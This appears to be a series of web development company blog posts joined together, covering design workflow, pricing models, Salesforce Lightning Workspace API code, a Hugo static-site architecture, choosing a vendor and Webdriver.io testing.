Don't forget – always think responsive! Back in the day the designers were making pixel-perfect layouts for desktop screens and kind of neglected the mobile devices. That's no longer the case. Today the mobile devices' usage is getting such a large share of the market, that during the entire design process I constantly ask myself “How will this work on mobile?”. I can not make bold and wildly extravagant designs which will be amazing for print materials or desktop only, but unusable on small screens or touch devices. This is why it’s so important for me to know how everything will be sliced in the markup afterwards. Knowing what can be translated into HTML5/CSS3 is essential, because it’s not right to promise something beautiful, but unusable to the client. After all a website is always dynamic, it must be flexible – its contents can't always be predicted, like in a print design for example. What happens if a title is extremely long or a button has two rows of text in it? A fragile design is not a good design. That's why I make sure that each design is thoroughly tested and thought-through.

Once I have the final design mock-ups approved, it is time for slicing them into markup. I like when a designer can fully slice their own mock-ups, because this gives them the realistic view of how everything will be translated into live interfaces. Even if I have to send the mock-up files to another front-end developer, they will understand my ideas quickly, instead of wasting time wondering “How am I supposed to make this work?”.

In many large-scale projects it's not possible to prepare mock-ups for every single UI element at once. The work process requires an initial style guide and overall header, footer, form styles, which will be closely followed when creating extra pages, modals, sections, etc., after the main design is applied into the actual working templates. This way we can get to the next steps as quickly as possible.

{{ newsletter }}

4. Applying the design and taking first glance at the finished product

It's time to turn the beautiful picture into a real, working layout. I’m rolling up my sleeves and waking up the developer inside me. One of the things I like in being a designer at MTR Design is the chance I have to be a part of the entire design process from start to finish. This gives me the freedom to further develop my ideas even during the front-end build and make sure I have everything tested and working, just the way I've envisioned it.

Before starting to slice the designs I have to set up my local environment and run the project with the already built back-end. This requires setting up Docker, migrating the database and reviewing the template structure. Based on the used framework (Laravel, Django, Phoenix, etc.), I'm also getting familiar with the syntax of the different templating engines we use in our work. At this time I'm working closely with our back-end development team.

After the overall design is sliced and applied to the templates, the website truly comes to life. This is the most exciting moment for both me and the client - to do the “first test-drive” of their new website. Of course there are still more layouts to be completed before we're done.

5. Completing all layouts and performing full website test

During every step of the build the client follows the development closely. There might be new additions to the functionality, improvements to the UI, UX adjustments and in the end, we have a fully completed website, with even the smallest tooltip, button and modal designed and in their places. We always make sure to perform multiple tests of every feature we create, but we also make overall testing of the entire project before handing it over to the client for final review. This is one of my favourite moments of the entire process and I take it seriously. I'm literally trying to “break” everything – from the design, to the functionality, making sure there are no weak spots on any devices. When me and the dev team are done with the overall test, we are giving the project to the client for their seal of approval. We might fix a few more bugs and tweaks and then my work is almost done. Once the dev team carries out the project launch, it's also my duty to make an official final review of the live site.

I hope you liked my inside view of the designer's process of creating a website here, at MTR Design. As you can see, there's much more depth to making a perfect design than just drawing a pretty mock-up, and I'm happy to be a part of each step from the initial project review, through the actual front-end built, to the final testing.

As a web development company, the main factor that determines our services’ price is the working hours our team spends on a given project. When asked to provide our quote for a fixed-price project, our price is  based on our estimation of the time we'll need to create the required functionality, but it'll be also affected by the type of the client we'll work with, the complexity of the project and potential risks, the required specific technical expertise  and many other factors. While if we work on a Time & Material basis, the client will pay for the actual hours spent on the project multiplied by the agreed price per person-day. So from our perspective, a contract based on the Time & Material pricing is fairer for both sides.

Someone might argue that contracting a web development company without clarity on a project’s end price is unreasonable and ask for a fixed price offer with a deadline.

This is ok for us, provided that the project also has a fixed scope. The latter means detailed project specifications, user stories, wireframes, sitemaps developed in advance, etc. The compiling of such project documentation is a time-consuming process. Meanwhile, the more complex the project, the greater the probability of omissions in the specifications. And if we agreed on a fixed-price project, we should deal with the consequences of any such omissions.

As it turns out, in this case, we undertake all the risks related to or resulting from the project implementation. It seems unfair.

So, what we do in such cases is drafting an estimate of the working hours needed for the project implementation, based on the documentation provided, and adding a certain percentage on the price to cover any risks of extra time required to develop specific project components. This percentage is usually in the range of 20 - 30%, or sometimes higher. In the end, the cost of the project may be higher than those under a contract based on the Time & Material pricing model. And if we deem that the risk is too high, or we can’t persuade you to pay for the extra hours needed for removing all the project’s uncertainties as a discovery phase, we may decline the project altogether.

What are the main advantages and disadvantages of the fixed-price model? In which cases do you recommend using it?

In our view, the main advantage of this pricing model is that the client is well-aware of the project’s end price and duration from the start. And bear in mind that this model is usually recommended for relatively small projects.

As for the disadvantages, we can point out the following: any changes on the go, initiated after the project has started, are far more complicated because each change request has to be agreed upon additionally and calculated in terms of working hours. In situations like this, there is a potential for conflict of interest. The client wants to get as much as possible for their money, whereas the contractor’s priority is to complete the project within the initial time-frame. And we should note that the outcome of situations like this usually isn’t positive for both parties. All the more so, considering that we mostly work on large scale projects that require up to a year or even more to be fully completed, it's almost impossible for the client to be 100% sure what exactly do they want and how to achieve it beforehand. There's always a chance of unexpected issues or requirements to come up during the development process.

So, yes, clarifying all the project details is not an easy task. Besides, having all specified in advance can be quite limiting and implies that the client has to take all the critical decisions on the project in the very beginning, which isn’t always the best solution.

Some of you are probably used to the Fixed price model and work in the following manner:

1. Create Project description, Scope of Work, Project requirements, and all the other documents needed to describe all aspects of the software you need;
2. Choose other criteria to assess the offers;
3. Send all the items mentioned above as an RFP to several companies that you have selected or have been recommended to you.

Then you assess the offers based on the criteria set and choose the best for you. And you might be wondering how to proceed if you work with the Time & Material model.
Well, it’s not a good idea to immediately select the company with the lowest hourly rate. That said, your choice should never be based on the lowest price offered - regardless of whether we’re talking about the company offering the lowest price or the lowest hourly rate.

As we already discussed in the previous article, one should consider many factors when choosing the right partner for a web dev project. And one of the most significant among them is that the two parties trust each other.

As far as the price is concerned, we can recommend the following approach:

1. Research several companies and choose 2-3 of them that you believe could be suitable for your project;
2. Ask them for time estimates for the project, making clear that you are aware such an estimate isn’t an actual offer. If the project is large, you can divide it into several smaller projects and ask for an estimate of one of those.
3. Compare the estimates, paying particular attention to the differences. For example, try to understand why company A plans a time frame for a specific project component that differs so much from those of company B.
4. Pay attention to the questions your potential partners ask - this could give you valuable information about themselves, their approach, and their knowledge of your business.
5. Once you have the time estimates and the daily rates offered, you can get an overall idea of your project’s budget and select a partner accordingly.

What are the main advantages of the Time & Material pricing model when compared to the Fixed price one?

• Faster development time - because there is no need for a detailed specification of the project.
• Flexibility - the client can decide on many things on the go, without the limitations of the project specifications, which both parties should closely observe. For example, we’ve seen many clients initially consider certain functionality crucial for a project, and at a later stage, it turns out to be useless and can be omitted completely.
• Fairer remuneration for the contractor - the Time & Material model allows the developer to pay more attention to the quality of their work, which usually results in lower maintenance costs for the client.
• The daily collaboration between the client and the contractor creates perfect conditions for developing the best possible product.

After all, are there any disadvantages to the Time & Material pricing model?

Well, we may consider as such the fact that this model requires a greater commitment on the part of the client - the latter has to participate actively in the development process by testing, proposing, and approving ideas for new features, monitoring the time spent on specific tasks, etc. This means that the client must have the skills to manage and control the development process.

{{ newsletter }}

Conclusion

Here are, in a nutshell, the main characteristics of the two models:

Time & Material model:

• Suitable for complex, long-term projects whose requirements might change
• Flexibility, dynamic work scope
• Requires client involvement
• Budgeting risk

Fixed-price model:

• Suitable for small projects with limited requirements
• Predictability
• Financial risk for the developer
• Less accountability, lack of flexibility

To sum things up, the Fixed-price model is more imperative, while the Time & Material approach focuses on collaboration between the two parties, so the results are usually better.

The solution is to create a wrapper Lightning Component for your LWC and implement all the tabs functionality inside that component as it is proposed by Salesforce itself. By sending custom events from LWC to the wrapper Lightning Component you can use Workspace API indirectly.

This approach could be useful in case your LWC is invoked by Action Button for example. As you already know, the action button could not execute LWC directly, but can execute Lightning Component instead. This component is your wrapper and listener for the custom events.

You can read what the official Salesforce documentation says on sending and handling custom events.

Solution #2

On the opposite side of the first solution, in case your LWC is placed directly in the page via App Builder, then you have no Lightning Component wrapper. The solution then is to recreate what Salesforce does internally to work with the tabs inside Console.

To demonstrate these two approaches, we will create components which will allow us to open Account Record from Contact View in a subtab.

Implementation

Solution #1

For this solution we will first need a LWC and then Lightning Component which will perform the opening of a record in a new subtab.

exampleLWC.html

<template>
   <p>This is example LWC component for Solution #1</p>
   <p>
       <lightning-button disabled={openAccountButtonDisabled} title="Open Account" label="Open Account" onclick={onOpenAccountClick}></lightning-button>
   </p>
</template>

exampleLWC.js

import { LightningElement, api, wire } from 'lwc';
import { getRecord } from 'lightning/uiRecordApi';

export default class ExampleLwc extends LightningElement {
 @api
 recordId;

 accountId;
 openAccountButtonDisabled = true;

 @wire(getRecord, { recordId: '$recordId', fields: ['Contact.AccountId']})
 getRecordAccount({ data }) {
   if (data) {
     this.accountId = data.fields.AccountId.value;
     this.openAccountButtonDisabled = false;
   }
 }

 onOpenAccountClick() {
   this.openSubTab(this.accountId);
 }

 openSubTab(recordId) {
   this.dispatchEvent(new CustomEvent('subtab', {
     detail: {
       recordId
     }
   }));
 }
}

LWCConsoleWrapper.cmp

<aura:component description="LWCConsoleWrapper" implements="force:hasRecordId, force:lightningQuickAction">
   <aura:handler name="init" value="{! this }" action="{! c.onInit }"/>

   <lightning:workspaceAPI aura:id="workspaceAPI" />
   <c:exampleLWC recordId="{! v.recordId }" onsubtab="{! c.handleOpenSubTab }" />
</aura:component>

And its controller - LWCConsoleWrapperController.js

({
 onInit: function (component, event, helper) {

 },
 handleOpenSubTab: function (component, event, helper) {
   const workspaceAPI = component.find('workspaceAPI');
   const recordId = event.getParam('recordId');

   if (!recordId) {
     return;
   }

   workspaceAPI.isConsoleNavigation().then(isConsole => {
     if (isConsole) {
       workspaceAPI.getFocusedTabInfo()
         .then(
           result => {
             workspaceAPI.openSubtab({
               parentTabId: result.tabId,
               recordId,
               focus: true
             }).then(
               tabId => {
                 console.log("Solution #1 - SubTab ID: ", tabId);
               }
             );
           }
         );
     }
   });
 }
});

As you can see it is pretty simple - LWC is executed via Lightning Component, which in our example was executed by an Action Button in Contact View page. Clicking the “Open Account” button will emit CustomEvent with Account RecordId as a payload - method “openSubTab”. Our Lightning Component has a registered event handler and executes a function - “handleOpenSubTab” when the event occurs.

Inside our Lightning Component we have full access to the WorkspaceAPI, so we can easily open a new subtab with the desired information. In our case it is the Contact’s Account.

{{ newsletter }}

Solution #2

In this solution we use WorkspaceAPI directly from our LWC. This is accomplished by a simple CustomEvent with specific payload, sent to the “window”. It is that simple.

examplePureLWC.html

<template>
   <lightning-card>
       <div class="slds-p-around_medium">
           <p>This is example LWC component for Solution #2</p>
           <p>
               <lightning-button disabled={openAccountButtonDisabled} title="Open Account" label="Open Account" onclick={onOpenAccountClick}></lightning-button>
           </p>
       </div>
   </lightning-card>
</template>

examplePureLWC.js

import { api, LightningElement, wire } from 'lwc';
import { getRecord } from 'lightning/uiRecordApi';

export default class ExamplePureLwc extends LightningElement {
 @api
 recordId;

 accountId;
 openAccountButtonDisabled = true;

 @wire(getRecord, { recordId: '$recordId', fields: ['Contact.AccountId']})
 getRecordAccount({ data }) {
   if (data) {
     this.accountId = data.fields.AccountId.value;
     this.openAccountButtonDisabled = false;
   }
 }

 onOpenAccountClick() {
   this.invokeWorkspaceAPI('isConsoleNavigation').then(isConsole => {
     if (isConsole) {
       this.invokeWorkspaceAPI('getFocusedTabInfo').then(focusedTab => {
         this.invokeWorkspaceAPI('openSubtab', {
           parentTabId: focusedTab.tabId,
           recordId: this.accountId,
           focus: true
         }).then(tabId => {
           console.log("Solution #2 - SubTab ID: ", tabId);
         });
       });
     }
   });
 }

 invokeWorkspaceAPI(methodName, methodArgs) {
   return new Promise((resolve, reject) => {
     const apiEvent = new CustomEvent("internalapievent", {
       bubbles: true,
       composed: true,
       cancelable: false,
       detail: {
         category: "workspaceAPI",
         methodName: methodName,
         methodArgs: methodArgs,
         callback: (err, response) => {
           if (err) {
               return reject(err);
           } else {
               return resolve(response);
           }
         }
       }
     });

     window.dispatchEvent(apiEvent);
   });
 }
}

All you need to do is copy or recreate the “invokeWorkspaceAPI” method and start using it. For ”methodArgs” you should refer to the WorkspaceAPI official documentation. Keep in mind that the method returns JS Promise.

Happy HackCoding!

• the general architecture of the app;
• the design options;
• how to manage the domains and the certificates of the websites;
• how to connect all the above-mentioned parts of the project;
• Amazon Lambda and how it was useful with all these tasks.

Some of the solutions to these issues were obvious, others required great deal of research and testing, and in the end we reached the following decisions:

1. Website generation

We’ll start off with the website generation, as almost all the other steps depend on it. We have two options with this – to use a programming language to create dynamic sites or to generate static web pages. Each of these approaches has its pros and cons, some of which we have summarized in the table below:

When you look at the table above, the two approaches seem nearly equally good. Yet, we decided to use static web pages, which fits our client's needs completely and is more cost-effective. We will discuss this in more detail in the hosting services part below. And here, we will only mention that the costs associated with servicing the static sites are significantly lower.

The next step was choosing the static website generator. Of course, we could have developed it ourselves, but this would unnecessarily increase the project’s costs. So, we decided to find a ready-made solution.

We needed a generator that would meet two requirements: high generation speed with minimum resources, as well as ease of use and flexibility. And because of the first requirement, we set on two options– Jekyll and Hugo. That said, JavaScript-based generators are also great, but unfortunately they don’t allow for high generation speed with minimum resource usage.

So, after carefully going through the documentation of these two options and testing them, we came to the conclusion that the two platforms are actually very similar in terms of functionality. Yet, we chose Hugo because it uses less resources and offers better speed. That said, Hugo has one more notable advantage – it’s written in Go – a language we have good experience with and we enjoy using.

{{ newsletter }}

2. System architecture

After we got a clear idea on how to generate the websites, it was about time to ponder on the system architecture. Given that we weren’t restricted to any specific database or programming language for site processing and servicing, the situation wasn’t that complicated.

So, we had an Amazon EC2-based system consisting of a bunch of servers (test and product) hosting the main marketing website and the administration of the real estate agents, as well as separate instances (again test and product) servicing the databases.

And the most logical step from here on would be creating separate servers for the websites being generated, as we didn’t know their number and workload in advance. Some of you might ask why we didn't place the generated sites directly in Amazon S3. This approach might indeed seem better, but it involves some complications that prevented us from undertaking it at that stage. Here, we will mention some of the problems we faced when using S3:

• If we use only S3 as a hosting service, we cannot use HTTPS/SSL;
• In order to support HTTPS/SSL, we need to use the Amazon CloudFront service. The issue here is the generation of certificates, and more specifically the fact that part of the domains will be owned by clients of the platform. So, in order to make it as easy as possible for them, we only require users to point the IP address of the domain they are using to the generated site. However, in case we want to generate certificates for our clients, they will have to add further records to their DNS configurations, which might cause problems;
• For each live website we have a corresponding test one, protected by a username and password known only to our client. This could also be achieved with CloudFront, but it requires additional DevOps work.

That said, we should note that the S3 is an absolutely adequate solution here, which also has its advantages and can be used in the future if it's justified. In order for the S3 solution to be effective from a technical and financial point of view, the generated static websites should start generating extremely large traffic that exceeds the current machine's resources.

3. Web designs

As it already became clear, we decided to use Hugo, which allows us to apply many different themes when generating the websites. Besides, Hugo allows for CSS and JS compilation, which would greatly facilitate the work of our front-end team. The only requirement to our front-end experts was to make the design work with static data. We managed to add certain dynamic features, such as basic filters in the real estate listings, but there are limitations if working with larger data volumes.

4. Domain management

As we already noted, the users of the platform are in charge of the domain management, because they actually own the domains. We did our best to make it as easy as possible for them, and the only thing they have to do is point the domain to the IP address of the generated site.

The SSL certificate generation task on the other hand is a bit more complicated. If one wishes to generate an SSL certificate, the domain has to be redirected, and the DNS records which provide us with information about it should be updated. It’s also possible that a domain which was pointed to the system at some point is now pointed away or expired, and we should be able to detect such cases and delete the SSL certificate for the domain in question. So, having all these conditions in mind, we’ve created a system for the domains and their SSL certificates, which will be discussed in detail below.

5. Connecting the system components

After we have planned out all the components of our system, and how they should operate, the only thing that’s left is to make them all work together. We've found an easy and effective way to do that by creating an app to manage the site generation, to watch out for (re)directing domains and the generation of their certificates. The individual components of this application are performed as cron tasks at different time intervals.

We know that a website has to be generated when a user makes changes that require site regeneration. Then, the real estate agents’ administration system makes the necessary entries in the database. The site generation application checks whether such data exists and, if available, generates the respective website. Domain tracking is a separate task, but it is not directly related to website generation. The only relevant thing is whether HTTP or HTTPS / SSL protocol will be used.

6. Amazon Lambda

We have managed to build a completely functional static site so far, but there is one more important thing left to be done – the contact form, which isn’t exactly static. Our original idea was to provide a secure and flexible solution, which doesn’t use a dynamic programming language, but rather a static form that has to send data for processing. We considered different possibilities and in the end decided to use Amazon Lambda so that we could ensure reliable operation and performance flexibility. So, our website would send data to the Lambda function, which would process it and save it to the database. Of course, to protect users from annoying spam, that would certainly be received, we added Google reCAPTCHA. This approach turned out to be functioning and we used it without any problems. It occurred to us, however, that if the site traffic and the use of the contact form increases significantly over time, the Lambda function usage will generate higher cost rates by Amazon. Having this in mind, although we haven’t experienced any problems with its functionality, we decided to connect the static form directly to the backend of the platform where the necessary information is submitted. So, we stopped using Lambda, which will cut a lot of unnecessary costs in the long run.

This was an overview of the project's architecture, our choice of applications and how they are connected. We will now go a little deeper into the technical details of the project and the whole process, but before that we are going to give you a short introduction of the different modules of the whole system:

Let’s start with the central system unit, namely the application created by us. It basically monitors requests for generating sites, generates such where necessary, and also oversees the domains - generates, renews and, where necessary, deletes their certificates.

Before we started with the application development, we  had to decide what its architecture would be, which in turn was related to the programming language in which it would be written. As already mentioned, we are looking for a high-speed solution with minimal resources. In this case we also need to take into account another two factors – easy debugging and code extensions. Perhaps the most logical choice was to use Go, but we decided that the speed we would achieve would not compensate for the slower development process and the more difficult maintenance afterwards. That's why we chose another popular language that is widely used for process management tools - Python. As mentioned before, we have divided the application into several modules:

In brief, the application checks for new site requests every minute. If there is one, the application creates a unique directory for the specific user, the data for the respective site gets extracted and processed, and finally a toml configuration file used by Hugo is generated, as well all necessary markdown files based on which Hugo will create all required pages. While making these configurations we are of course taking into account the user-defined site theme. After all files are ready, Hugo generates the new site and saves it in the server file system, then it passes the control to a module which performs a domain status check. Depending on the status (whether it is available or not), a new certificate and the corresponding nginx configuration are being generated.

We obtain the SSL certificates from the automated external certificate authority Let’s Encrypt at no additional costs for the customers. To make things even more convenient, we also use the already configured Let's Encrypt module compatible with nginx, which shortens the development time.

Meanwhile, we check the already generated sites every five minutes for the domains that have not been pointed to the platform in the last check. If at this point the domain is properly pointed, then we generate the respective certificates and regenerate the site so that the links in it are correct. After that we adjust the new nginx configuration. Besides, all existing domains are being checked on a daily basis in order to make sure they are routed correctly. If for some reason they are not, we delete the old certificates to prevent any further issues and get new ones from Let’s Encrypt.

Every single operation is of course recorded in the corresponding application log and in case an error occurs, our team receives a direct message.

We figured that the server we use for site creation has the capacity to serve the generated websites. Moreover, we have carefully configured the resource cashing. In order to keep a better architecture structure, large resources, such as images and videos are being stored on AWS S3. This way, we guarantee better server performance and the ability to process heavy loads.

This is the main application we use for site creation. As it already became clear, we rely on nginx as a web server. And we believe this is a very good solution, especially considering that the served files are static. These services are running on an Amazon EC2 instance, whose workload is being constantly monitored so that we can react immediately and change its parameters if needed. That said, the system is operating for several months now and no changes have been required so far. We use MySQL database, and the real estate agents’ main backend is written in PHP (using the Laravel framework).

In conclusion, we can say that the system we have built works flawlessly. Its structure is as simple as possible, which makes it easy to maintain and upgrade - assuming that the load on the generated sites increases significantly and the EC2 instance isn’t appropriate anymore, the application settings can easily be changed so that the generated sites are being saved directly on Amazon S3. Such a development of events would certainly require additional work, but it is not related to the way our application works, but rather to the way Amazon CloudFront functions. From an architectural point of view, in this situation we will simply replace the module handling nginx configurations with a new module that will perform the necessary checks and configurations in CloudFront.

The first thing you should learn about your new partner is how long have they been operating and who is their owner. In any case, it’s always best to cooperate with a well-established and successful company which has been on the market for at least 5 years. The longer the business history, the better, because this means that it’s way more probable that they’ve already done a project similar to yours, or that they have some sort of knowledge in your business field. This is of utter importance, because the web development company you’re working with is also your business partner. You’re not just hiring someone to write the code for your app (actually, if that’s the case, you’ll be better off with a freelancer), but also to give you advice on key solutions for your application.

Company’s clients, track record and industry experience

In most cases the information about the main clients and projects could be found on the company’s website. Yet, do have in mind that each and every company has worked on projects which they cannot mention in their portfolio for one reason or another, so it’s always best to request additional information. And as regards the testimonials (feedback from previous and/or existing clients), you may look up the company profile in Clutch.co, where the user reviews are sent personally by their clients.

That said, you may look up our profile in the Clutch directory. The latter has actually recognized MTR Design as one of the Top Web development companies in Bulgaria in their 2020 report.

Company size

The company size (and especially the number of the programmers) matters insofar as the completion of your project in time depends on it. And also, it’s essential that the company can provide additional resources, if at a later stage the project requires involvement of more people than initially anticipated.

It's a common belief that the more hands at work, the faster the work gets done. In our view, however, based on 15 years of experience in development of complex web applications, you don’t need more than 4 – 5 people in the initial work on a project. So, unless your project is really huge, there’s no need to hire a company with hundreds of programmers. You should also take into account that smaller companies tend to pay more attention to each of their partners and projects.

Technical competencies, skills and experience

As far as technical expertise is concerned, your approach to selecting the right company largely depends on whether the project involves development of already existing web-based software (or you need to integrate a new solution with your legacy products), or you are about to start from scratch and work on a “greenfield” project.

In the first scenario, the existing software would largely determine the technology to be used in your project, so it would be wise to look for dev companies that have worked with the respective technology stack. And if this technology is outdated, it’s best that you choose among firms that have extensive experience in working with it – for example, they’ve developed projects with different versions of the technology, and they’ve made production migrations from an older to a newer version of the framework in question.

If you are starting your web dev project from scratch, the choice of technology would depend on the characteristics of the project (there are different tools that are effective to varying degrees in solving different problems), or on the expertise – either those of your team, or that of your partner. When the technology choice is based on the expertise of your own team, it would be easier to evaluate the quality of the partner's work and to control the development process. And if you trust your web development partner, you may let them decide which technologies will best suit your project.

Whatever the case, we would advise you to take the time to explain in detail all aspects of your project to the dev companies you are considering, and hear what they think about it. In most cases they wouldn’t have solid experience in your sphere, but the really good web dev teams could use what they’ve learned in other projects (regardless of the business field), and find their way in your project. If the questions they’re asking are meaningful (including such that even you can’t answer), and if their solutions are rational and simple, there’s a pretty good chance that you’ve found the right partner for your project.

Communication

Bad communication is one of the most common causes of unsatisfactory experience in project outsourcing. And because both parties suffer from a poorly organised business communication process, which inevitably leads to a poorly developed project, most agencies with strong market experience who care about the quality of their services have developed and follow communication plans of their own.

It’s not that important which means of communication you are going to use. In any case, you need more than communication over the phone and via email, in order to make sure that all persons involved are aware at all times of the project’s current status and if there are any problems that may have occurred during the development process.

For example, we use Basecamp for less-technical communication with our clients - to present all people from our team who will be involved in the project and to run discussions about business topics, app functionalities, UX directions and decisions. For daily communication and less important matters we use Slack. And for technical tasks we rely on tools, directly linked to the project codebase and the version-control system used (Gitlab/Github issues, Jira, etc.) In this way, each of our clients is able to contact our programmers directly, and get immediate feedback on the progress of their projects.

Of course, if a client of ours has already established certain means and processes of communication for a given project, we can use these tools.

Price

We do realise that the price of a service is of utter importance when choosing a contractor, especially in projects that take months or even years to complete. Even if all other criteria are met, and both parties like each other, any partnership is out of the question if they don’t reach an agreement on a price that is fair and favorable for them.

Perhaps now is the time to discuss the two main pricing models that web development companies use - Fixed-price and Time & Material model.

The Time & Material pricing model is based on the number of hours actually spent on the project, and the agreed hourly rates of developers involved in the project.  The Fixed-price model, on the other hand, is a contract where a web dev company offers to complete the project within the agreed price and timeframe. The price itself is based on the contractor's estimate of the time and skills required for the project completion, but the complexity of the project, potential risks and associated complications can greatly affect the final price.

Of course, both pricing models have their advantages and disadvantages. We won’t discuss this in further detail, but let’s just say that we at MTR Design use both, depending on the project.

Final words

In conclusion, we have to say that the selection of a web development agency is much more than filling out a checklist that will produce the right answer. It’s way more important that both parties in this process feel confident that this is the right business partner for them. And this usually happens during the initial communication – when the company clarifies what the project is all about, and the web development agency asks questions to clarify the business case.

The issue is that “New Record” is a standard Salesforce functionality and there is no option to control what happens on success. The default behavior is to redirect to the newly created record. Here is the documentation for pageReference which is used for navigating to pages in Salesforce.

I was searching the internet for an existing solution, because I thought that triggering an action after a new record is created does not sound too exotic. Surely there is a result for a very similar feature, asked 3 years ago. Unfortunately the described undocumented solution is no longer valid. Actually it is half valid.

I’ve spent some time debugging how the popup for new records issued from another popup works. I found out that they still use navigationLocation: “LOOKUP” but with additions – reference to the navigationLocationId. After testing those additional undocumented properties I’ve realised that they are used only if our “new record” page is in popup, not in tab as it was in my case. So it was not my solution. I’ve spent more time trying to find something undocumented, but it was hopeless. I’ve concluded that I could not perform any action after successful record creation.

The Solution

Since my page was in a workspace tab where I have full control, I came with the idea that I can actually perform any action from an aura component, placed inside the “record view” page.

Each time I visit my target object’s View page, or I’ve been redirected to it after successful record creation, this component is executed. With the help of workspaceAPI I can easily pull information whether the page is in Tab and all details of the tab. So, by placing some conditions while using Tab details, you could determine if there is a need to perform your desired action.

In my particular case I observe for specific tab type and title, and if it matches – the current Tab gets closed.

Focusing the source tab was also challenging. I could not find a suitable way to send information from which tab we start to the new one. Unfortunately tabs do not support custom payloads at all and I didn't want to involve any object record here. I’ve chosen to send this information via global javascript variables. The variable name is based on the new tab Id and its value is the source tab recordId. Our Lightning component needs only to check if the javascript variable exists and has value. By using this value we can iterate over all tabs in the Console and focus the one who has that recordId.

Implementation

Here is what our component markup looks like:

({
 onInit: function (component, event, helper) {
   // get reference to the workspaceAPI
   const workspaceAPI = component.find('workspace');

   if (workspaceAPI) {
     // ensure that we are in Console
     workspaceAPI.isConsoleNavigation().then(isConsole => {
       if (isConsole) {
         // get our enclosing tab
         workspaceAPI.getEnclosingTabId().then(enclosingTabId => {
           // retrieve full tab info
           workspaceAPI.getTabInfo({
               tabId: enclosingTabId
           }).then(tabInfo => {
             // Conditions
             if (tabInfo.customTitle && tabInfo.customTitle === 'Reply Task' && tabInfo.isSubtab) {
               // Actual action implementation

               // create variable name for retrieving info which tab we should be focusing on
               const varName = `__reply_task_return__${tabInfo.tabId}`;

               if (window[varName]) {
                 const returnToId = window[varName];
                 // delete our helper variable as it is not valid anymore
                 delete window[varName];

                 // retrieve all tabs
                 workspaceAPI.getAllTabInfo().then(tabs => {

                   // search for our destination tab
                   let destinationTab = tabs.find(tab => tab.recordId === returnToId);

                   // It is not our destination tab, but let's search in its sub tabs
                   if (!destinationTab) {
                     tabs.forEach(tab => {
                       tab.subtabs.forEach(subTab => {
                         if (returnToId === subTab.recordId) {
                           destinationTab = subTab;
                         }
                       });
                     });
                   }

                   // if we found our destination tab, then focus on it and close the current one
                   if (destinationTab) {
                     workspaceAPI.focusTab({
                       tabId : destinationTab.tabId
                     }).then(() => {
                       workspaceAPI.closeTab({ tabId: enclosingTabId });
                     });
                   }
                 });
               }
             }
           });
         });
       }
     });
   }
 }
});

And that’s pretty much it.

The only thing left to do is to edit your object’s View page (Task View Page in my case) and put our new component somewhere in the page. The component is not visible so it won’t break your design.

By tuning the conditions and changing the action code itself you can achieve basically any action you want.

Happy Coding!

To summarize, our goal is to build an independent test environment for one of our projects and automate the process of features validation. The whole test suite will be a standalone project without any access to the raw codebase, so we won’t mock anything. The result should be a real world user journey, executed directly on the dev website, providing basic insurance that all main features are working as expected and our latest changes didn’t cause any regression bugs. This way we try to eliminate the user factor in the process by automating some of the manual tests we usually do after every push. And in order to achieve it we thought it’s a good idea to make a small research of the market and find the best e2e library for our case. Next up we’ll try to cover our impressions of Webdriver.io after subjecting it to a series of inspections.

Webdriver.io

It’s a next-gen browser and mobile automation test framework for Node.js, as they say. In reality it’s an extendible, feature rich product for writing tests using your favorite framework (Jasmine, Mocha, etc.) and targeting your modern webapps built with React, Angular, Vue.js (or any other web technology). And last but not least you can use different protocols and test runners in order to reach wide coverage of the modern web browsers. Looks promising so let’s go to see it in action.

Getting started with Webdriver.io

Note: The purpose of this article is to review the different testing libraries and provide you some feedback in order to help you choose the right tool for your case. Thus you cannot rely on this article as a tutorial or step-by-step guide, instead you can go and read the official docs.

Webdriver.io is built with Node.js so it’s not a surprise that the easiest way to install it is by using the npm one-liner, as expected. Although we don’t want to fall into specific details, they can change in time so we prefer to point you to the official guide for the latest version of the instructions. Once you’re ready with the initial setup and the installation of all dependencies we can write our first basic test, and check whether everything is running fine.

describe('Home page', () => {
 it('should load successfully', () => {
   browser.url('/');
 
   const heading = $('.description h1');
   expect(heading).toHaveText('Hello world');
 })
})

Once again, we start with a simple test - navigating to the homepage and checking whether a specific text exists. Webdriver allows us to choose which testing framework to use and since the official guidelines rely on Mocha, we decided to stick our examples to that. Because of this we inherit its BDD syntax and the descriptive style guide, so you can easily understand every line of your tests. As expected element selection is performed by a regular query selectors, so nothing surprising here. Then you can use the rich set of matchers provided by the expect assertion in order to perform some validations.That’s the basics for now, let’s try to run our first test.

 "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/guest/home.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: d883eeef20c13c43a4820925a4d956f7
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Home page
[chrome 83.0.4103.61 linux #0-0]    ✓ should load successfully
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 1 passing (1.5s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:05 

Once again when we start the test runner we see a browser window and all of the interactions with the webpage, then it closes and there is an output with the results of the execution in the console. A new browser window opens for every test, which makes the process a bit slower, but it ensures the isolated environment for every suite. If some of your tests fail you can debug the problem by yourself relying on the console output. There are no fancy features like “time-travel” (as it is in Cypress) but you can use the implemented debugging tools to ease the process. So far so good, time to write a few more tests.

Let’s add some real world tests

We’ll follow the same path as we did in our previous articles, now when we have Webdriver up and running we’ll move on to test some website forms. Tradition dictates to start with the Sign Up form because of its rich set of input components. But before we jump straight to the test code itself we have to do some prerequisite steps. Webdriver.io is designed to use Page Object Pattern which in my opinion is a great way to add an abstraction layer to your test suites. The goal of using page objects is to move any page information away from the actual tests. Ideally, you should store all selectors or specific instructions that are unique for a certain page in a page object, so that way you still can run your test after you've completely redesigned your page. So we did it, here is our Sign Up page wrapper.

export class Page {
   constructor() {}
   
   open(path) {
     browser.url(path)
   }
   
   // Other shared methods will reside here soon
}
 
class SignUpPage extends Page {
 
   get inputFirstName() { return $('#registration--first-name') }
   get inputLastName() { return $('#registration--last-name') }
   get inputCompanyName() { return $('#registration--company-name') }
   get inputEmail() { return $('#registration--email') }
   get inputPhone() { return $('#registration--phone') }
   get inputCity() { return $('#registration--city') }
   get inputState() { return $('#registration--state + .select2') }
   get inputMarketingStrategies() { return $('#registration--marketing-strategies + .select2') }
   get submitBtn() { return $('form button[type="submit"]') }
